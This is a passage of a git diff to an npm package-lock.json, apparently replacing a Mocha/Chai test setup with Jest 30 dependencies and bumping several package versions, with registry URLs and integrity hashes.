"https://registry.npmjs.org/collect-v8-coverage/-/collect-v8-coverage-1.0.2.tgz", + "integrity": "sha512-lHl4d5/ONEbLlJvaJNtsF/Lz+WvB07u2ycqTYbdrq7UypDXailES4valYb2eWiJFxZlVmpGekfqoxQhzyFdT4Q==", + "dev": true + }, "color-convert": { "version": "2.0.1", "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", @@ -4591,43 +7800,35 @@ } }, "debug": { - "version": "4.3.7", - "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.7.tgz", - "integrity": "sha512-Er2nc/H7RrMXZBFCEim6TCmMk02Z8vLC2Rbi1KEBggpo0fS6l0S1nnapwmIi3yW/+GOJap1Krg4w0Hg80oCqgQ==", + "version": "4.4.1", + "resolved": "https://registry.npmjs.org/debug/-/debug-4.4.1.tgz", + "integrity": "sha512-KcKCqiftBJcZr++7ykoDIEwSa3XWowTfNPo92BYxjXiyYEVrUQh2aLyhxBCwww+heortUFxEJYcRzosstTEBYQ==", "dev": true, "requires": { "ms": "^2.1.3" } }, - "decamelize": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/decamelize/-/decamelize-4.0.0.tgz", - "integrity": "sha512-9iE1PgSik9HeIIw2JO94IidnE3eBoQrFJ3w7sFuzSX4DpmZ3v5sZpUiV5Swcf6mQEF+Y0ru8Neo+p+nyh2J+hQ==", + "dedent": { + "version": "1.6.0", + "resolved": "https://registry.npmjs.org/dedent/-/dedent-1.6.0.tgz", + "integrity": "sha512-F1Z+5UCFpmQUzJa11agbyPVMbpgT/qA3/SKyJ1jyBgm7dUcUEa8v9JwDkerSQXfakBwFljIxhOJqGkjUwZ9FSA==", "dev": true }, - "deep-eql": { - "version": "4.1.3", - "resolved": "https://registry.npmjs.org/deep-eql/-/deep-eql-4.1.3.tgz", - "integrity": "sha512-WaEtAOpRA1MQ0eohqZjpGD8zdI0Ovsm8mmFhaDN8dvDZzyoUMcYDnf5Y6iu7HTXxf8JDS23qWa4a+hKCDyOPzw==", - "dev": true, - "requires": { - "type-detect": "^4.0.0" - } + "deepmerge": { + "version": "4.3.1", + "resolved": "https://registry.npmjs.org/deepmerge/-/deepmerge-4.3.1.tgz", + "integrity": "sha512-3sUqbMEc77XqpdNO7FRyRog+eW3ph+GYCbj+rK+uYyRMuwsVy0rMiVtPn+QJlKFvWP/1PYpapqYn0Me2knFn+A==", + "dev": true }, "delayed-stream": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/delayed-stream/-/delayed-stream-1.0.0.tgz", "integrity": "sha512-ZySD7Nf91aLB0RxL4KGrKHBXl7Eds1DAmEdcoVawXnLD7SDhpNgtuII2aAkg7a7QS41jxPSZ17p4VdGnMHk3MQ==" }, - "deprecation": { - "version": "2.3.1", - "resolved": "https://registry.npmjs.org/deprecation/-/deprecation-2.3.1.tgz", - "integrity": "sha512-xmHIy4F3scKVwMsQ4WnVaS8bHOx0DmVwRywosKhaILI0ywMDWPtBSku2HNxRvF7jtwDRsoEwYQSfbxj8b7RlJQ==" - }, - "diff": { - "version": "5.2.0", - "resolved": "https://registry.npmjs.org/diff/-/diff-5.2.0.tgz", - "integrity": "sha512-uIFDxqpRZGZ6ThOk84hEfqWoHx2devRFvpTZcTHur85vImfaxUbTW9Ryh4CpCuDnToOP1CEtXKIgytHBPVff5A==", + "detect-newline": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/detect-newline/-/detect-newline-3.1.0.tgz", + "integrity": "sha512-TLz+x/vEXm/Y7P7wn1EJFNLxYpUD4TgMosxY6fAVJUnJMbupHBOncxyWUG9OpTaH9EBD7uFI5LfEgmMOc54DsA==", "dev": true }, "dir-glob": { @@ -4644,10 +7845,25 @@ "integrity": "sha512-I88TYZWc9XiYHRQ4/3c5rjjfgkjhLyW2luGIheGERbNQ6OY7yTybanSpDXZa8y7VUP9YmDcYa+eyq4ca7iLqWA==", "dev": true }, + "ejs": { + "version": "3.1.10", + "resolved": "https://registry.npmjs.org/ejs/-/ejs-3.1.10.tgz", + "integrity": "sha512-UeJmFfOrAQS8OJWPZ4qtgHyWExa088/MtK5UEyoJGFH67cDEXkZSviOiKRCZ4Xij0zxI3JECgYs3oKx+AizQBA==", + "dev": true, + "requires": { + "jake": "^10.8.5" + } + }, "electron-to-chromium": { - "version": "1.5.114", - "resolved": "https://registry.npmjs.org/electron-to-chromium/-/electron-to-chromium-1.5.114.tgz", - "integrity": "sha512-DFptFef3iktoKlFQK/afbo274/XNWD00Am0xa7M8FZUepHlHT8PEuiNBoRfFHbH1okqN58AlhbJ4QTkcnXorjA==", + "version": "1.5.178", + "resolved": "https://registry.npmjs.org/electron-to-chromium/-/electron-to-chromium-1.5.178.tgz", + "integrity": "sha512-wObbz/ar3Bc6e4X5vf0iO8xTN8YAjN/tgiAOJLr7yjYFtP9wAjq8Mb5h0yn6kResir+VYx2DXBj9NNobs0ETSA==", + "dev": true + }, + "emittery": { + "version": "0.13.1", + "resolved": "https://registry.npmjs.org/emittery/-/emittery-0.13.1.tgz", + "integrity": "sha512-DeWwawk6r5yR9jFgnDKYt4sLS0LmHJJi3ZOnb5/JdbYwj3nW+FxQnHIjhBKz8YLC7oRNPVM9NQ47I3CVx34eqQ==", "dev": true }, "emoji-regex": { @@ -4656,24 +7872,77 @@ "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==", "dev": true }, + "error-ex": { + "version": "1.3.2", + "resolved": "https://registry.npmjs.org/error-ex/-/error-ex-1.3.2.tgz", + "integrity": "sha512-7dFHNmqeFSEt2ZBsCriorKnn3Z2pj+fd9kmI6QoWw4//DL+icEBfc0U7qJCisqrTsKTjw4fNFy2pW9OqStD84g==", + "dev": true, + "requires": { + "is-arrayish": "^0.2.1" + } + }, "escalade": { "version": "3.2.0", "resolved": "https://registry.npmjs.org/escalade/-/escalade-3.2.0.tgz", "integrity": "sha512-WUj2qlxaQtO4g6Pq5c29GTcWGDyd8itL8zTlipgECz3JesAiiOKotd8JU6otB3PACgG6xkJUyVhboMS+bje/jA==", "dev": true }, - "escape-string-regexp": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-4.0.0.tgz", - "integrity": "sha512-TtpcNJ3XAzx3Gq8sWRzJaVajRs0uVxA2YAkdb1jm2YkPz4G6egUFAyA3n5vtEIZefPk5Wa4UXbKuS5fKkJWdgA==", - "dev": true - }, "esprima": { "version": "4.0.1", "resolved": "https://registry.npmjs.org/esprima/-/esprima-4.0.1.tgz", "integrity": "sha512-eGuFFw7Upda+g4p+QHvnW0RyTX/SVeJBDM/gCtMARO0cLuT2HcEKnTPvhjV6aGeqrCB/sbNop0Kszm0jsaWU4A==", "dev": true }, + "execa": { + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/execa/-/execa-5.1.1.tgz", + "integrity": "sha512-8uSpZZocAZRBAPIEINJj3Lo9HyGitllczc27Eh5YYojjMFMn8yHMDMaUHE2Jqfq05D/wucwI4JGURyXt1vchyg==", + "dev": true, + "requires": { + "cross-spawn": "^7.0.3", + "get-stream": "^6.0.0", + "human-signals": "^2.1.0", + "is-stream": "^2.0.0", + "merge-stream": "^2.0.0", + "npm-run-path": "^4.0.1", + "onetime": "^5.1.2", + "signal-exit": "^3.0.3", + "strip-final-newline": "^2.0.0" + }, + "dependencies": { + "signal-exit": { + "version": "3.0.7", + "resolved": "https://registry.npmjs.org/signal-exit/-/signal-exit-3.0.7.tgz", + "integrity": "sha512-wnD2ZE+l+SPC/uoS0vXeE9L1+0wuaMqKlfz9AMUo38JsyLSBWSFcHR1Rri62LZc12vLr1gb3jl7iwQhgwpAbGQ==", + "dev": true + } + } + }, + "exit-x": { + "version": "0.2.2", + "resolved": "https://registry.npmjs.org/exit-x/-/exit-x-0.2.2.tgz", + "integrity": "sha512-+I6B/IkJc1o/2tiURyz/ivu/O0nKNEArIUB5O7zBrlDVJr22SCLH3xTeEry428LvFhRzIA1g8izguxJ/gbNcVQ==", + "dev": true + }, + "expect": { + "version": "30.0.3", + "resolved": "https://registry.npmjs.org/expect/-/expect-30.0.3.tgz", + "integrity": "sha512-HXg6NvK35/cSYZCUKAtmlgCFyqKM4frEPbzrav5hRqb0GMz0E0lS5hfzYjSaiaE5ysnp/qI2aeZkeyeIAOeXzQ==", + "dev": true, + "requires": { + "@jest/expect-utils": "30.0.3", + "@jest/get-type": "30.0.1", + "jest-matcher-utils": "30.0.3", + "jest-message-util": "30.0.2", + "jest-mock": "30.0.2", + "jest-util": "30.0.2" + } + }, + "fast-content-type-parse": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/fast-content-type-parse/-/fast-content-type-parse-3.0.0.tgz", + "integrity": "sha512-ZvLdcY8P+N8mGQJahJV5G4U88CSvT1rP8ApL6uETe88MBXrBHAkZlSEySdUlyztF7ccb+Znos3TFqaepHxdhBg==" + }, "fast-glob": { "version": "3.2.11", "resolved": "https://registry.npmjs.org/fast-glob/-/fast-glob-3.2.11.tgz", @@ -4686,6 +7955,12 @@ "micromatch": "^4.0.4" } }, + "fast-json-stable-stringify": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/fast-json-stable-stringify/-/fast-json-stable-stringify-2.1.0.tgz", + "integrity": "sha512-lhd/wF+Lk98HZoTCtlVraHtfh5XYijIjalXck7saUtuanSDyLMxnHhSXEDJqHxD7msR8D0uCmqlkwjCV8xvwHw==", + "dev": true + }, "fastq": { "version": "1.13.0", "resolved": "https://registry.npmjs.org/fastq/-/fastq-1.13.0.tgz", @@ -4694,6 +7969,24 @@ "reusify": "^1.0.4" } }, + "fb-watchman": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/fb-watchman/-/fb-watchman-2.0.2.tgz", + "integrity": "sha512-p5161BqbuCaSnB8jIbzQHOlpgsPmK5rJVDfDKO91Axs5NC1uu3HRQm6wt9cd9/+GtQQIO53JdGXXoyDpTAsgYA==", + "dev": true, + "requires": { + "bser": "2.1.1" + } + }, + "filelist": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/filelist/-/filelist-1.0.4.tgz", + "integrity": "sha512-w1cEuf3S+DrLCQL7ET6kz+gmlJdbq9J7yXCSjK/OZCPA+qEN1WyF4ZAf0YYJa4/shHJra2t/d/r8SV4Ji+x+8Q==", + "dev": true, + "requires": { + "minimatch": "^5.0.1" + } + }, "fill-range": { "version": "7.1.1", "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.1.1.tgz", @@ -4713,22 +8006,6 @@ "pkg-dir": "^3.0.0" } }, - "find-up": { - "version": "5.0.0", - "resolved": "https://registry.npmjs.org/find-up/-/find-up-5.0.0.tgz", - "integrity": "sha512-78/PXT1wlLLDgTzDs7sjq9hzz0vXD+zn+7wypEe4fXQxCmdmqfGsEPQxmiCSQI3ajFV91bVSsvNtrJRiW6nGng==", - "dev": true, - "requires": { - "locate-path": "^6.0.0", - "path-exists": "^4.0.0" - } - }, - "flat": { - "version": "5.0.2", - "resolved": "https://registry.npmjs.org/flat/-/flat-5.0.2.tgz", - "integrity": "sha512-b6suED+5/3rTpUBdG1gupIl8MPFCAMA0QXwmljLhvCUKcUvdE4gWky9zpuGCcXHOsz4J9wPGNWq6OKpmIzz3hQ==", - "dev": true - }, "flow-parser": { "version": "0.263.0", "resolved": "https://registry.npmjs.org/flow-parser/-/flow-parser-0.263.0.tgz", @@ -4767,9 +8044,9 @@ "dev": true }, "fsevents": { - "version": "2.3.2", - "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.3.2.tgz", - "integrity": "sha512-xiqMQR4xAeHTuB9uWm+fFRcIOgKBMiOBP+eXiyT7jsgVCq1bkVygt00oASowB7EdtpOHaaPgKt812P9ab+DDKA==", + "version": "2.3.3", + "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.3.3.tgz", + "integrity": "sha512-5xoDfX+fL7faATnagmWPpbFtwh/R77WmMMqqHGS65C3vvB0YHrgF+B1YmZ3441tMj5n63k0212XNoJwzlhffQw==", "dev": true, "optional": true }, @@ -4785,10 +8062,16 @@ "integrity": "sha512-DyFP3BM/3YHTQOCUL/w0OZHR0lpKeGrxotcHWcqNEdnltqFwXVfhEBQ94eIo34AfQpo0rGki4cyIiftY06h2Fg==", "dev": true }, - "get-func-name": { - "version": "2.0.2", - "resolved": "https://registry.npmjs.org/get-func-name/-/get-func-name-2.0.2.tgz", - "integrity": "sha512-8vXOvuE167CtIc3OyItco7N/dpRtBbYOsPsXCz7X/PMnlGjYjSGuZJgM1Y7mmew7BKf9BqvLX2tnOVy1BBUsxQ==", + "get-package-type": { + "version": "0.1.0", + "resolved": "https://registry.npmjs.org/get-package-type/-/get-package-type-0.1.0.tgz", + "integrity": "sha512-pjzuKtY64GYfWizNAJ0fr9VqttZkNiK2iS430LtIHzjBEr6bX8Am2zm4sW4Ro5wjWW5cAlRL1qAMTcXbjNAO2Q==", + "dev": true + }, + "get-stream": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-6.0.1.tgz", + "integrity": "sha512-ts6Wi+2j3jQjqi70w5AlN8DFnkSwC+MqmxEzdEALB2qXZYV3X/b1CTfgPLGJNMeAWxdPfU8FO1ms3NUfaHCPYg==", "dev": true }, "glob": { @@ -4797,167 +8080,808 @@ "integrity": "sha512-7Bv8RF0k6xjo7d4A/PxYLbUCfb6c+Vpd2/mB2yRDlew7Jb5hEXiCD9ibfO7wpk8i4sevK6DFny9h7EYbM3/sHg==", "dev": true, "requires": { - "foreground-child": "^3.1.0", - "jackspeak": "^3.1.2", - "minimatch": "^9.0.4", - "minipass": "^7.1.2", - "package-json-from-dist": "^1.0.0", - "path-scurry": "^1.11.1" + "foreground-child": "^3.1.0", + "jackspeak": "^3.1.2", + "minimatch": "^9.0.4", + "minipass": "^7.1.2", + "package-json-from-dist": "^1.0.0", + "path-scurry": "^1.11.1" + }, + "dependencies": { + "minimatch": { + "version": "9.0.5", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-9.0.5.tgz", + "integrity": "sha512-G6T0ZX48xgozx7587koeX9Ys2NYy6Gmv//P89sEte9V9whIapMNF4idKxnW2QtCcLiTWlb/wfCabAtAFWhhBow==", + "dev": true, + "requires": { + "brace-expansion": "^2.0.1" + } + } + } + }, + "glob-parent": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-5.1.2.tgz", + "integrity": "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==", + "requires": { + "is-glob": "^4.0.1" + } + }, + "globby": { + "version": "11.1.0", + "resolved": "https://registry.npmjs.org/globby/-/globby-11.1.0.tgz", + "integrity": "sha512-jhIXaOzy1sb8IyocaruWSn1TjmnBVs8Ayhcy83rmxNJ8q2uWKCAj3CnJY+KpGSXCueAPc0i05kVvVKtP1t9S3g==", + "requires": { + "array-union": "^2.1.0", + "dir-glob": "^3.0.1", + "fast-glob": "^3.2.9", + "ignore": "^5.2.0", + "merge2": "^1.4.1", + "slash": "^3.0.0" + } + }, + "graceful-fs": { + "version": "4.2.11", + "resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.2.11.tgz", + "integrity": "sha512-RbJ5/jmFcNNCcDV5o9eTnBLJ/HszWV0P73bc+Ff4nS/rJj+YaS6IGyiOL0VoBYX+l1Wrl3k63h/KrH+nhJ0XvQ==", + "dev": true + }, + "has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "dev": true + }, + "html-escaper": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/html-escaper/-/html-escaper-2.0.2.tgz", + "integrity": "sha512-H2iMtd0I4Mt5eYiapRdIDjp+XzelXQ0tFE4JS7YFwFevXXMmOp9myNrUvCg0D6ws8iqkRPBfKHgbwig1SmlLfg==", + "dev": true + }, + "human-signals": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/human-signals/-/human-signals-2.1.0.tgz", + "integrity": "sha512-B4FFZ6q/T2jhhksgkbEW3HBvWIfDW85snkQgawt07S7J5QXTk6BkNV+0yAeZrM5QpMAdYlocGoljn0sJ/WQkFw==", + "dev": true + }, + "ignore": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/ignore/-/ignore-5.2.0.tgz", + "integrity": "sha512-CmxgYGiEPCLhfLnpPp1MoRmifwEIOgjcHXxOBjv7mY96c+eWScsOP9c112ZyLdWHi0FxHjI+4uVhKYp/gcdRmQ==" + }, + "import-local": { + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/import-local/-/import-local-3.2.0.tgz", + "integrity": "sha512-2SPlun1JUPWoM6t3F0dw0FkCF/jWY8kttcY4f599GLTSjh2OCuuhdTkJQsEcZzBqbXZGKMK2OqW1oZsjtf/gQA==", + "dev": true, + "requires": { + "pkg-dir": "^4.2.0", + "resolve-cwd": "^3.0.0" + }, + "dependencies": { + "find-up": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/find-up/-/find-up-4.1.0.tgz", + "integrity": "sha512-PpOwAdQ/YlXQ2vj8a3h8IipDuYRi3wceVQQGYWxNINccq40Anw7BlsEXCMbt1Zt+OLA6Fq9suIpIWD0OsnISlw==", + "dev": true, + "requires": { + "locate-path": "^5.0.0", + "path-exists": "^4.0.0" + } + }, + "locate-path": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-5.0.0.tgz", + "integrity": "sha512-t7hw9pI+WvuwNJXwk5zVHpyhIqzg2qTlklJOf0mVxGSbe3Fp2VieZcduNYjaLDoy6p9uGpQEGWG87WpMKlNq8g==", + "dev": true, + "requires": { + "p-locate": "^4.1.0" + } + }, + "p-limit": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-2.3.0.tgz", + "integrity": "sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w==", + "dev": true, + "requires": { + "p-try": "^2.0.0" + } + }, + "p-locate": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-4.1.0.tgz", + "integrity": "sha512-R79ZZ/0wAxKGu3oYMlz8jy/kbhsNrS7SKZ7PxEHBgJ5+F2mtFW2fK2cOtBh1cHYkQsbzFV7I+EoRKe6Yt0oK7A==", + "dev": true, + "requires": { + "p-limit": "^2.2.0" + } + }, + "pkg-dir": { + "version": "4.2.0", + "resolved": "https://registry.npmjs.org/pkg-dir/-/pkg-dir-4.2.0.tgz", + "integrity": "sha512-HRDzbaKjC+AOWVXxAU/x54COGeIv9eb+6CkDSQoNTt4XyWoIJvuPsXizxu/Fr23EiekbtZwmh1IcIG/l/a10GQ==", + "dev": true, + "requires": { + "find-up": "^4.0.0" + } + } + } + }, + "imurmurhash": { + "version": "0.1.4", + "resolved": "https://registry.npmjs.org/imurmurhash/-/imurmurhash-0.1.4.tgz", + "integrity": "sha512-JmXMZ6wuvDmLiHEml9ykzqO6lwFbof0GG4IkcGaENdCRDDmMVnny7s5HsIgHCbaq0w2MyPhDqkhTUgS2LU2PHA==", + "dev": true + }, + "inflight": { + "version": "1.0.6", + "resolved": "https://registry.npmjs.org/inflight/-/inflight-1.0.6.tgz", + "integrity": "sha512-k92I/b08q4wvFscXCLvqfsHCrjrF7yiXsQuIVvVE7N82W3+aqpzuUdBbfhWcy/FZR3/4IgflMgKLOsvPDrGCJA==", + "dev": true, + "requires": { + "once": "^1.3.0", + "wrappy": "1" + } + }, + "inherits": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz", + "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==", + "dev": true + }, + "is-arrayish": { + "version": "0.2.1", + "resolved": "https://registry.npmjs.org/is-arrayish/-/is-arrayish-0.2.1.tgz", + "integrity": "sha512-zz06S8t0ozoDXMG+ube26zeCTNXcKIPJZJi8hBrF4idCLms4CG9QtK7qBl1boi5ODzFpjswb5JPmHCbMpjaYzg==", + "dev": true + }, + "is-extglob": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/is-extglob/-/is-extglob-2.1.1.tgz", + "integrity": "sha1-qIwCU1eR8C7TfHahueqXc8gz+MI=" + }, + "is-fullwidth-code-point": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz", + "integrity": "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==", + "dev": true + }, + "is-generator-fn": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/is-generator-fn/-/is-generator-fn-2.1.0.tgz", + "integrity": "sha512-cTIB4yPYL/Grw0EaSzASzg6bBy9gqCofvWN8okThAYIxKJZC+udlRAmGbM0XLeniEJSs8uEgHPGuHSe1XsOLSQ==", + "dev": true + }, + "is-glob": { + "version": "4.0.3", + "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-4.0.3.tgz", + "integrity": "sha512-xelSayHH36ZgE7ZWhli7pW34hNbNl8Ojv5KVmkJD4hBdD3th8Tfk9vYasLM+mXWOZhFkgZfxhLSnrwRr4elSSg==", + "requires": { + "is-extglob": "^2.1.1" + } + }, + "is-number": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz", + "integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==" + }, + "is-stream": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/is-stream/-/is-stream-2.0.1.tgz", + "integrity": "sha512-hFoiJiTl63nn+kstHGBtewWSKnQLpyb155KHheA1l39uvtO9nWIop1p3udqPcUd/xbF1VLMO4n7OI6p7RbngDg==", + "dev": true + }, + "isexe": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/isexe/-/isexe-2.0.0.tgz", + "integrity": "sha512-RHxMLp9lnKHGHRng9QFhRCMbYAcVpn69smSGcq3f36xjgVVWThj4qqLbTLlq7Ssj8B+fIQ1EuCEGI2lKsyQeIw==", + "dev": true + }, + "isobject": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/isobject/-/isobject-3.0.1.tgz", + "integrity": "sha512-WhB9zCku7EGTj/HQQRz5aUQEUeoQZH2bWcltRErOpymJ4boYE6wL9Tbr23krRPSZ+C5zqNSrSw+Cc7sZZ4b7vg==", + "dev": true + }, + "istanbul-lib-coverage": { + "version": "3.2.2", + "resolved": "https://registry.npmjs.org/istanbul-lib-coverage/-/istanbul-lib-coverage-3.2.2.tgz", + "integrity": "sha512-O8dpsF+r0WV/8MNRKfnmrtCWhuKjxrq2w+jpzBL5UZKTi2LeVWnWOmWRxFlesJONmc+wLAGvKQZEOanko0LFTg==", + "dev": true + }, + "istanbul-lib-instrument": { + "version": "6.0.3", + "resolved": "https://registry.npmjs.org/istanbul-lib-instrument/-/istanbul-lib-instrument-6.0.3.tgz", + "integrity": "sha512-Vtgk7L/R2JHyyGW07spoFlB8/lpjiOLTjMdms6AFMraYt3BaJauod/NGrfnVG/y4Ix1JEuMRPDPEj2ua+zz1/Q==", + "dev": true, + "requires": { + "@babel/core": "^7.23.9", + "@babel/parser": "^7.23.9", + "@istanbuljs/schema": "^0.1.3", + "istanbul-lib-coverage": "^3.2.0", + "semver": "^7.5.4" + }, + "dependencies": { + "semver": { + "version": "7.7.2", + "resolved": "https://registry.npmjs.org/semver/-/semver-7.7.2.tgz", + "integrity": "sha512-RF0Fw+rO5AMf9MAyaRXI4AV0Ulj5lMHqVxxdSgiVbixSCXoEmmX/jk0CuJw4+3SqroYO9VoUh+HcuJivvtJemA==", + "dev": true + } + } + }, + "istanbul-lib-report": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/istanbul-lib-report/-/istanbul-lib-report-3.0.1.tgz", + "integrity": "sha512-GCfE1mtsHGOELCU8e/Z7YWzpmybrx/+dSTfLrvY8qRmaY6zXTKWn6WQIjaAFw069icm6GVMNkgu0NzI4iPZUNw==", + "dev": true, + "requires": { + "istanbul-lib-coverage": "^3.0.0", + "make-dir": "^4.0.0", + "supports-color": "^7.1.0" + }, + "dependencies": { + "make-dir": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/make-dir/-/make-dir-4.0.0.tgz", + "integrity": "sha512-hXdUTZYIVOt1Ex//jAQi+wTZZpUpwBj/0QsOzqegb3rGMMeJiSEu5xLHnYfBrRV4RH2+OCSOO95Is/7x1WJ4bw==", + "dev": true, + "requires": { + "semver": "^7.5.3" + } + }, + "semver": { + "version": "7.7.2", + "resolved": "https://registry.npmjs.org/semver/-/semver-7.7.2.tgz", + "integrity": "sha512-RF0Fw+rO5AMf9MAyaRXI4AV0Ulj5lMHqVxxdSgiVbixSCXoEmmX/jk0CuJw4+3SqroYO9VoUh+HcuJivvtJemA==", + "dev": true + } + } + }, + "istanbul-lib-source-maps": { + "version": "5.0.6", + "resolved": "https://registry.npmjs.org/istanbul-lib-source-maps/-/istanbul-lib-source-maps-5.0.6.tgz", + "integrity": "sha512-yg2d+Em4KizZC5niWhQaIomgf5WlL4vOOjZ5xGCmF8SnPE/mDWWXgvRExdcpCgh9lLRRa1/fSYp2ymmbJ1pI+A==", + "dev": true, + "requires": { + "@jridgewell/trace-mapping": "^0.3.23", + "debug": "^4.1.1", + "istanbul-lib-coverage": "^3.0.0" + }, + "dependencies": { + "@jridgewell/trace-mapping": { + "version": "0.3.29", + "resolved": "https://registry.npmjs.org/@jridgewell/trace-mapping/-/trace-mapping-0.3.29.tgz", + "integrity": "sha512-uw6guiW/gcAGPDhLmd77/6lW8QLeiV5RUTsAX46Db6oLhGaVj4lhnPwb184s1bkc8kdVg/+h988dro8GRDpmYQ==", + "dev": true, + "requires": { + "@jridgewell/resolve-uri": "^3.1.0", + "@jridgewell/sourcemap-codec": "^1.4.14" + } + } + } + }, + "istanbul-reports": { + "version": "3.1.7", + "resolved": "https://registry.npmjs.org/istanbul-reports/-/istanbul-reports-3.1.7.tgz", + "integrity": "sha512-BewmUXImeuRk2YY0PVbxgKAysvhRPUQE0h5QRM++nVWyubKGV0l8qQ5op8+B2DOmwSe63Jivj0BjkPQVf8fP5g==", + "dev": true, + "requires": { + "html-escaper": "^2.0.0", + "istanbul-lib-report": "^3.0.0" + } + }, + "jackspeak": { + "version": "3.4.3", + "resolved": "https://registry.npmjs.org/jackspeak/-/jackspeak-3.4.3.tgz", + "integrity": "sha512-OGlZQpz2yfahA/Rd1Y8Cd9SIEsqvXkLVoSw/cgwhnhFMDbsQFeZYoJJ7bIZBS9BcamUW96asq/npPWugM+RQBw==", + "dev": true, + "requires": { + "@isaacs/cliui": "^8.0.2", + "@pkgjs/parseargs": "^0.11.0" + } + }, + "jake": { + "version": "10.9.2", + "resolved": "https://registry.npmjs.org/jake/-/jake-10.9.2.tgz", + "integrity": "sha512-2P4SQ0HrLQ+fw6llpLnOaGAvN2Zu6778SJMrCUwns4fOoG9ayrTiZk3VV8sCPkVZF8ab0zksVpS8FDY5pRCNBA==", + "dev": true, + "requires": { + "async": "^3.2.3", + "chalk": "^4.0.2", + "filelist": "^1.0.4", + "minimatch": "^3.1.2" }, "dependencies": { + "brace-expansion": { + "version": "1.1.12", + "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.12.tgz", + "integrity": "sha512-9T9UjW3r0UW5c1Q7GTwllptXwhvYmEzFhzMfZ9H7FQWt+uZePjZPjBP/W1ZEyZ1twGWom5/56TF4lPcqjnDHcg==", + "dev": true, + "requires": { + "balanced-match": "^1.0.0", + "concat-map": "0.0.1" + } + }, "minimatch": { - "version": "9.0.5", - "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-9.0.5.tgz", - "integrity": "sha512-G6T0ZX48xgozx7587koeX9Ys2NYy6Gmv//P89sEte9V9whIapMNF4idKxnW2QtCcLiTWlb/wfCabAtAFWhhBow==", + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.2.tgz", + "integrity": "sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw==", "dev": true, "requires": { - "brace-expansion": "^2.0.1" + "brace-expansion": "^1.1.7" } } } }, - "glob-parent": { - "version": "5.1.2", - "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-5.1.2.tgz", - "integrity": "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==", + "jest": { + "version": "30.0.3", + "resolved": "https://registry.npmjs.org/jest/-/jest-30.0.3.tgz", + "integrity": "sha512-Uy8xfeE/WpT2ZLGDXQmaYNzw2v8NUKuYeKGtkS6sDxwsdQihdgYCXaKIYnph1h95DN5H35ubFDm0dfmsQnjn4Q==", + "dev": true, "requires": { - "is-glob": "^4.0.1" + "@jest/core": "30.0.3", + "@jest/types": 